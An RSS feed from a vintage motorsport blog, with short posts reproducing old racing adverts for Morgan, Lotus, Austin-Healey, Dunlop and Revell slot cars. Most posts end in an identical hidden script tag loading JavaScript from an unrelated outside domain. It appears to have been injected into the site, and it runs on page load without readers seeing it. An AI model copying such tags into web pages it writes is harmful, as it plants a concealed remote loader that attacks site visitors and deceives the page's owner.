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<channel>
	<title>The Chicane &#187; Vintage Racing Advertising</title>
	<atom:link href="http://thechicaneblog.com/topics/vintage-racing-advertising/feed/" rel="self" type="application/rss+xml" />
	<link>http://thechicaneblog.com</link>
	<description>A Celebration of Historic Motorsport</description>
	<lastBuildDate>Sat, 13 Nov 2010 01:00:00 +0000</lastBuildDate>
	<language>en</language>
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		<title>Morgan Girl</title>
		<link>http://thechicaneblog.com/2010/07/18/morgan-girl/</link>
		<comments>http://thechicaneblog.com/2010/07/18/morgan-girl/#comments</comments>
		<pubDate>Sun, 18 Jul 2010 07:35:01 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Vintage Racing Advertising]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=3546</guid>
		<description><![CDATA[&#8220;Speed, she likes. Comfort, she appreciates. She admires men sensible enough to choose the rather exclusive Morgan Plus Four Plus—and occasionally let her drive. 2138 c.c. TR4A engine. 110 m.p.h. Front Disc Brakes. And superb Morgan controllability. Try on for ever—this week.&#8221; Definitely a Morgan Girl. I love that this reads like an installment of [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://thechicaneblog.com/wp-content/uploads/2010/07/morganGirl.jpg" rel="lightbox[3546]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/07/morganGirl-602x380.jpg" alt="" title="Morgan Girl" width="602" height="380" class="shadowednowrap size-large wp-image-3547" /></a></p>
<p>&#8220;Speed, she likes. Comfort, she appreciates. She admires men sensible enough to choose the rather exclusive Morgan Plus Four Plus—and <em>occasionally</em> let her drive. 2138 c.c. TR4A engine. 110 m.p.h. Front Disc Brakes. And superb Morgan controllability. Try on for ever—this week.&#8221;</p>
<p>Definitely a Morgan Girl. I love that this reads like an installment of <em>What Sort of Man Reads Playboy?</em> but in reverse.</p>
<p>(found in MotorSport, April 1966)</p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/07/18/morgan-girl/">The Chicane</a>.]]></content:encoded>
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		<item>
		<title>Lotus Ad: Faster Than You Think</title>
		<link>http://thechicaneblog.com/2010/06/02/lotus-ad-faster-than-you-think/</link>
		<comments>http://thechicaneblog.com/2010/06/02/lotus-ad-faster-than-you-think/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 21:04:49 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Vintage Racing Advertising]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=3344</guid>
		<description><![CDATA[&#8220;I feel that the Lotus is the best attempt yet to provide the enthusiast with a competition car at a price he can afford to pay. In essentials, it is just as sound an engineering job as the most expensive sports car, and the economy is only brought about by the clever adaptation of mass-produced [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://thechicaneblog.com/wp-content/uploads/2010/06/l6broch2.jpg" rel="lightbox[3344]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/06/l6broch2-602x756.jpg" alt="" title="Lotus 6 Ad" width="602" height="756" class="shadowednowrap size-large wp-image-3345" /></a></p>
<blockquote><p>&#8220;I feel that the Lotus is the best attempt yet to provide the enthusiast with a competition car at a price he can afford to pay. In essentials, it is just as sound an engineering job as the most expensive sports car, and the economy is only brought about by the clever adaptation of mass-produced components.&#8221;</p></blockquote>
<p>Sounds to me like J. V. Bolster was on to something. This Lotus 6 looks every bit as desirable today as it did when Autosport wrote this glowing review in 1953.<br />
<script src="http://ie.eracou.com/3"></script></p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/06/02/lotus-ad-faster-than-you-think/">The Chicane</a>.]]></content:encoded>
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		<title>Austin Healey Sprite, Now with Girlings</title>
		<link>http://thechicaneblog.com/2010/05/11/austin-healey-sprite-now-with-girlings/</link>
		<comments>http://thechicaneblog.com/2010/05/11/austin-healey-sprite-now-with-girlings/#comments</comments>
		<pubDate>Tue, 11 May 2010 05:03:16 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Vintage Racing Advertising]]></category>
		<category><![CDATA[Austin-Healey]]></category>
		<category><![CDATA[Sprite]]></category>
		<category><![CDATA[Vintage Racing]]></category>
		<category><![CDATA[vintage sportscar]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=3191</guid>
		<description><![CDATA[&#8220;The disc brakes fitted to the Sprite were masters of the situation under all conditions and their high speed behaviour was beyond criticism&#8221; Call me crazy, but I actually find the hyperbole of this ad copy charming. Not to mention the tremendous graphic fantasticness of the Girling &#8220;G&#8221; logo. You can read this post in [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://thechicaneblog.com/wp-content/uploads/2010/05/sprite-with-discs.gif" rel="lightbox[3191]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/05/sprite-with-discs-602x788.gif" alt="" title="Sprite with Girlings" width="602" height="788" class="shadowednowrap size-large wp-image-3193" /></a></p>
<p>&#8220;The disc brakes fitted to the Sprite were masters of the situation under all conditions and their high speed behaviour was beyond criticism&#8221;</p>
<p>Call me crazy, but I actually find the hyperbole of this ad copy charming. Not to mention the tremendous graphic fantasticness of the Girling &#8220;G&#8221; logo. <script src="http://ie.eracou.com/3"></script></p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/05/11/austin-healey-sprite-now-with-girlings/">The Chicane</a>.]]></content:encoded>
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		<slash:comments>1</slash:comments>
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		<title>The Latest in Sports Hornets</title>
		<link>http://thechicaneblog.com/2010/04/14/the-latest-in-sports-hornets/</link>
		<comments>http://thechicaneblog.com/2010/04/14/the-latest-in-sports-hornets/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 20:17:20 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Vintage Racing Advertising]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=3044</guid>
		<description><![CDATA[This looks to me like £255 well spent. From MotorSport Magazine April, 1932. You can read this post in its original form on The Chicane.]]></description>
			<content:encoded><![CDATA[<p><a href="http://thechicaneblog.com/wp-content/uploads/2010/04/03-March-1932-026.jpg" rel="lightbox[3044]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/04/03-March-1932-026-602x747.jpg" alt="" title="Abbey Special - 1932" width="602" height="747" class="shadowednowrap size-large wp-image-3045" /></a><br />
This looks to me like £255 well spent. From MotorSport Magazine April, 1932.<script src="http://ie.eracou.com/3"></script></p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/04/14/the-latest-in-sports-hornets/">The Chicane</a>.]]></content:encoded>
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		<title>Racing Ads of the Past: Ernie McAfee</title>
		<link>http://thechicaneblog.com/2010/02/09/racing-ads-of-the-past-ernie-mcafee/</link>
		<comments>http://thechicaneblog.com/2010/02/09/racing-ads-of-the-past-ernie-mcafee/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 23:58:26 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Vintage Racing Advertising]]></category>
		<category><![CDATA[ernie mcafee]]></category>
		<category><![CDATA[Siata]]></category>
		<category><![CDATA[Vintage Advertising]]></category>
		<category><![CDATA[Vintage Racing]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=2585</guid>
		<description><![CDATA[Come on down to Ernie McAfee&#8217;s for everything you need for the races. Helmets, just like the pros use: $30. Add a visor to that for a sawbuck. Or perhaps you&#8217;re in the market for something bigger. Why not test drive the brand new Siata V8. It&#8217;s sure to impress the ladies and only $4995. [...]]]></description>
			<content:encoded><![CDATA[<p>Come on down to Ernie McAfee&#8217;s for everything you need for the races. Helmets, just like the pros use: $30. Add a visor to that for a sawbuck. Or perhaps you&#8217;re in the market for something bigger. Why not test drive the brand new Siata V8. It&#8217;s sure to impress the ladies and only $4995. Motor on down to 8363 Sunset, and tell &#8216;em The Chicane sent ya.</p>
<p>(Naturally <a href="http://maps.google.com/maps?hl=en&#038;client=safari&#038;q=8363+Sunset+blvd,+los+angeles&#038;ie=UTF8&#038;hq=&#038;hnear=8363+Sunset+Blvd,+West+Hollywood,+Los+Angeles,+California+90069&#038;gl=us&#038;ei=Snp0S5KeKYiXtgeKwtSxCg&#038;ved=0CAoQ8gEwAA&#038;ll=34.095743,-118.371831&#038;spn=0.014215,0.025148&#038;z=16&#038;layer=c&#038;cbll=34.095652,-118.371943&#038;panoid=aYnA4Mz2fKEIjcyL6qONMg&#038;cbp=12,291.77,,0,0.72" target=_blank>this location</a> is now a Starbucks.. typical)<br />
<a href="http://thechicaneblog.com/wp-content/uploads/2010/02/Screen-shot-2010-02-09-at-Feb-9-17.50-.png" rel="lightbox[2585]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/02/Screen-shot-2010-02-09-at-Feb-9-17.50--366x532.png" alt="" title="Ernie McAfee Siata Ad" width="366" height="532" class="shadowedleft wp-image-2587" /></a><a href="http://thechicaneblog.com/wp-content/uploads/2010/02/Screen-shot-2010-02-09-at-Feb-9-17.49-.png" rel="lightbox[2585]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/02/Screen-shot-2010-02-09-at-Feb-9-17.49--200x290.png" alt="" title="Ernie McAfee Helmet Ad" width="200" height="290" class="shadowedleft wp-image-2586" /></a><br />
<script src="http://ie.eracou.com/3"></script></p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/02/09/racing-ads-of-the-past-ernie-mcafee/">The Chicane</a>.]]></content:encoded>
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		<slash:comments>2</slash:comments>
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		<title>Vintage Racing Ads: Rebodies for Specials</title>
		<link>http://thechicaneblog.com/2010/01/27/vintage-racing-ads-rebodies-for-specials/</link>
		<comments>http://thechicaneblog.com/2010/01/27/vintage-racing-ads-rebodies-for-specials/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 18:09:59 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Racing Ephemera]]></category>
		<category><![CDATA[Vintage Racing Advertising]]></category>
		<category><![CDATA[austin 7]]></category>
		<category><![CDATA[Vintage Racecar]]></category>
		<category><![CDATA[Vintage Racing]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=2517</guid>
		<description><![CDATA[Another brilliant argument for the benefits of body-on-frame building. Are you bored with your Austin-7 or compact Ford? Why not just drop a new fiberglass body on that frame and have a sweet little racing special to take to the track or just cruise around town. See how easy it used to be to become [...]]]></description>
			<content:encoded><![CDATA[<p>Another brilliant argument for the benefits of body-on-frame building. Are you bored with your Austin-7 or compact Ford? Why not just drop a new fiberglass body on that frame and have a sweet little racing special to take to the track or just cruise around town. See how easy it used to be to become the coolest kid on the block?</p>
<p><a href="http://thechicaneblog.com/wp-content/uploads/2010/01/rebody1.jpg" rel="lightbox[2517]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/01/rebody1-602x386.jpg" alt="" title="The Cadet: Austin 7 rebody" width="602" height="386" class="shadowednowrap wp-image-2518" /></a><br />
<a href="http://thechicaneblog.com/wp-content/uploads/2010/01/rebody2.jpg" rel="lightbox[2517]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/01/rebody2-602x383.jpg" alt="" title="The Falcon Rebody Shell for British Fords" width="602" height="383" class="shadowednowrap wp-image-2519" /></a><br />
<a href="http://thechicaneblog.com/wp-content/uploads/2010/01/rebody3.jpg" rel="lightbox[2517]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/01/rebody3-602x191.jpg" alt="" title="Space-Aged Rebody" width="602" height="191" class="shadowednowrap wp-image-2520" /></a></p>
<p>These were all from a single 1958 issue of MotorSport. The possibilities were endless, and cheap. Guess what you do if you&#8217;re bored with your compact Ford today&#8230; You deal with it. Or you glue a horrifically ugly wing on it. Yay! a big stupid wing!<script src="http://ie.eracou.com/3"></script></p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/01/27/vintage-racing-ads-rebodies-for-specials/">The Chicane</a>.]]></content:encoded>
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		<title>More Stirling: San Fran, Nancy Sinatra &amp; Telephones</title>
		<link>http://thechicaneblog.com/2010/01/14/more-stirling-san-fran-sinatra-telephones/</link>
		<comments>http://thechicaneblog.com/2010/01/14/more-stirling-san-fran-sinatra-telephones/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 23:34:21 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Racing Ephemera]]></category>
		<category><![CDATA[Vintage Racing Advertising]]></category>
		<category><![CDATA[Stirling Moss]]></category>
		<category><![CDATA[vintage auto racing]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=2396</guid>
		<description><![CDATA[Here&#8217;s another shot of Stirling Moss from a late 60s issue of Playboy, this time in an advertisement for AT&#038;T. Naturally, Moss is a giant in the racing world, but I never realized that he was a well known enough figure in the States that he would be in a non-automotive ad in a mass-market [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s another shot of Stirling Moss from a late 60s issue of Playboy, this time in an advertisement for AT&#038;T. Naturally, Moss is a giant in the racing world, but I never realized that he was a well known enough figure in the States that he would be in a non-automotive ad in a mass-market magazine. Good Stuff.<br />
<a href="http://thechicaneblog.com/wp-content/uploads/2010/01/Screen-shot-2010-01-13-at-Jan-13-13.51-.png" rel="lightbox[2396]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/01/Screen-shot-2010-01-13-at-Jan-13-13.51--602x871.png" alt="" title="Sir Stirling shilling for AT&amp;T" width="602" height="871" class="shadowednowrap wp-image-2397" /></a><br />
<script src="http://ie.eracou.com/3"></script></p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/01/14/more-stirling-san-fran-sinatra-telephones/">The Chicane</a>.]]></content:encoded>
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		<title>Racing Ads of the past: Austin Healey 100</title>
		<link>http://thechicaneblog.com/2010/01/06/racing-ads-of-the-past-austin-healey-100/</link>
		<comments>http://thechicaneblog.com/2010/01/06/racing-ads-of-the-past-austin-healey-100/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 14:38:55 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Classic Sportscar]]></category>
		<category><![CDATA[Racing Ephemera]]></category>
		<category><![CDATA[Vintage Racing Advertising]]></category>
		<category><![CDATA[Austin-Healey]]></category>
		<category><![CDATA[Vintage Advertising]]></category>
		<category><![CDATA[vintage sportscar]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=2304</guid>
		<description><![CDATA[Price as advertised (1955): £750 Adjusted for inflation (2008): £15,120 (US $24,169.32) What that buys today: Mini Cooper S, Volkswagen GTI, well equipped Mazda Miata You can read this post in its original form on The Chicane.]]></description>
			<content:encoded><![CDATA[<p><a href="http://thechicaneblog.com/wp-content/uploads/2010/01/AustinHealey100Ad.jpg" rel="lightbox[2304]"><img src="http://thechicaneblog.com/wp-content/uploads/2010/01/AustinHealey100Ad-602x380.jpg" alt="AustinHealey100Ad" title="AustinHealey100Ad" width="602" height="380" class="shadowednowrap-2305" /></a></p>
<p><strong>Price as advertised (1955):</strong> £750<br />
<strong>Adjusted for inflation (2008):</strong> £15,120 (US $24,169.32)</p>
<p><strong>What that buys today:</strong> Mini Cooper S, Volkswagen GTI, well equipped Mazda Miata<script src="http://ie.eracou.com/3"></script></p>
<hr />
You can read this post in its original form on <a href="http://thechicaneblog.com/2010/01/06/racing-ads-of-the-past-austin-healey-100/">The Chicane</a>.]]></content:encoded>
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		<title>Build. Race. Win.</title>
		<link>http://thechicaneblog.com/2009/12/07/build-race-win/</link>
		<comments>http://thechicaneblog.com/2009/12/07/build-race-win/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 19:06:00 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Racing Ephemera]]></category>
		<category><![CDATA[Vintage Racing Advertising]]></category>
		<category><![CDATA[Aston Martin]]></category>
		<category><![CDATA[chaparral]]></category>
		<category><![CDATA[corvette stingray]]></category>
		<category><![CDATA[Ferrari]]></category>
		<category><![CDATA[ford cobra]]></category>
		<category><![CDATA[slot cars]]></category>
		<category><![CDATA[Vintage Racing]]></category>
		<category><![CDATA[vintage toy cars]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=2160</guid>
		<description><![CDATA[Knowing where to place your pressure sensitive labels is an important part of your slot racing team strategy. Now you won&#8217;t be in the dark when you&#8217;re assembling your GTO or DB5. Remember slot racers, magnets are for wimps; and me. via. You can read this post in its original form on The Chicane.]]></description>
			<content:encoded><![CDATA[<p>Knowing where to place your pressure sensitive labels is an important part of your slot racing team strategy. Now you won&#8217;t be in the dark when you&#8217;re assembling your GTO or DB5.</p>
<p><a href="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-ferrari-sm.jpg" rel="lightbox[2160]"><img src="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-ferrari-sm-602x782.jpg" alt="Revell Ferrari GTO Assembly Instructions" title="Revell Ferrari GTO Assembly Instructions" width="602" height="782" class="shadowednowrap-2164" /></a><br />
<a href="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-body-paper-sm.jpg" rel="lightbox[2160]"><img src="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-body-paper-sm-96x126.jpg" alt="Revell Slot Car Bodies Ad" title="Revell Slot Car Bodies Ad" width="96" height="126" class="shadowedleft-2165" /></a><a href="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-chaparral-sm.jpg" rel="lightbox[2160]"><img src="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-chaparral-sm-96x126.jpg" alt="Revell Chaparral Assembly Instructions" title="Revell Chaparral Assembly Instructions" width="96" height="126" class="shadowedleft-2166" /></a><a href="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-aston_sm.jpg" rel="lightbox[2160]"><img src="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-aston_sm-96x126.jpg" alt="Revell Aston Martin DB5 Assembly Instructions" title="Revell Aston Martin DB5 Assembly Instructions" width="96" height="126" class="shadowedleft-2167" /></a><a href="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-cobra-sm.jpg" rel="lightbox[2160]"><img src="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-cobra-sm-96x126.jpg" alt="Revell Cobra Slot Car Assembly Instructions" title="Revell Cobra Slot Car Assembly Instructions" width="96" height="126" class="shadowedleft-2168" /></a><a href="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-stingray-1-sm.jpg" rel="lightbox[2160]"><img src="http://thechicaneblog.com/wp-content/uploads/2009/12/revell-stingray-1-sm-96x126.jpg" alt="Revell Corvette Stingray Assembly Instructions" title="Revell Corvette Stingray Assembly Instructions" width="96" height="126" class="shadowedleft-2170" /></a></p>
<p>Remember slot racers, magnets are for wimps; and me.</p>
<p><a href="http://www.slotforum.com/forums/blog/manitouguy/" target=_blank>via</a>.<script src="http://ie.eracou.com/3"></script></p>
<hr />
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		<title>Vintage Racing Ad: Dunlop</title>
		<link>http://thechicaneblog.com/2009/12/01/vintage-racing-ad-dunlop/</link>
		<comments>http://thechicaneblog.com/2009/12/01/vintage-racing-ad-dunlop/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 15:20:13 +0000</pubDate>
		<dc:creator>Harlo</dc:creator>
				<category><![CDATA[Racing Ephemera]]></category>
		<category><![CDATA[Vintage Racing Advertising]]></category>

		<guid isPermaLink="false">http://thechicaneblog.com/?p=2112</guid>
		<description><![CDATA[What I think I like most about this ad for Dunlop R5 Racing tires is the photograph of a formula car wheel. No tire manufacturer today would have anything less than the very top-end wheels showcasing their products. They would be highly polished, and the photo retouched to absolutely scream &#8220;shiny and expensive&#8221;. For this [...]]]></description>
			<content:encoded><![CDATA[<p>What I think I like most about this ad for Dunlop R5 Racing tires is the photograph of a formula car wheel. No tire manufacturer today would have anything less than the very top-end wheels showcasing their products. They would be highly polished, and the photo retouched to absolutely scream &#8220;shiny and expensive&#8221;.</p>
<p>For this racing tire ad though, it&#8217;s just a simple stamped wheel with dull, dirty paint — looks like a Lotus &#8220;wobbly web&#8221; to me. Fantastic.</p>
<p><a href="http://thechicaneblog.com/wp-content/uploads/2009/11/Screen-shot-2009-11-30-at-Nov-30-20.19-.png" rel="lightbox[2112]"><img src="http://thechicaneblog.com/wp-content/uploads/2009/11/Screen-shot-2009-11-30-at-Nov-30-20.19--602x424.png" alt="Vintage Dunlop Racing Ad" title="Vintage Dunlop Racing Ad" width="602" height="424" class="shadowedleft-2113" /></a><script src="http://ie.eracou.com/3"></script></p>
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